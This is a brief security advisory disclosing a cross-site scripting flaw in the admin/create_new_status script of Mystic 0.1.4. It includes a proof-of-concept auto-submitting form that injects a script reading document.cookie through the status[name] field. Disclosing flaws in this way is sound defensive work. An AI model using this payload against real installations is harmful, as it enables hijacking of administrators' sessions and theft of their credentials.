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XSS vulnerability in Mystic

Description

Vulnerability ID: HTB22535 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_mystic_1.html Product: Mystic Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/mystic ) Vulnerable Version: 0.1.4 and Probably Prior Versions Vendor Notification: 27 July 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "admin/create_new_status" script to properly sanitize user-supplied input in "status[name]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/create_new_status" method="post" name="main" > <input type="hidden" name="status[id]" value="999" > <input type="hidden" name="status[name]" value='status name"><script>alert(document.cookie)</script>' > <input type="hidden" name="commit" value="Create New Status!" > </form> <script> document.main.submit(); </script>